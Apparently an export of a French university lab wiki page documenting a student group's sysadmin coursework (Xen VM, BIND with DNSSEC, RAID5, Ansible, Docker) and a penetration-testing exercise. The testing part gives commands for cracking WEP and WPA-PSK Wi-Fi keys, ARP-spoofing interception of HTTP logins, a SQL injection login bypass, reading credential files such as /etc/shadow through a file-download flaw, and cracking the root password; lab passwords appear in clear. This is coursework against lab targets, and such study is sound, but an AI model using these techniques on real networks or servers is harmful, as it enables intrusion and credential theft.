 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55176</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55176"/>
				<updated>2020-12-22T14:35:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Création du conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
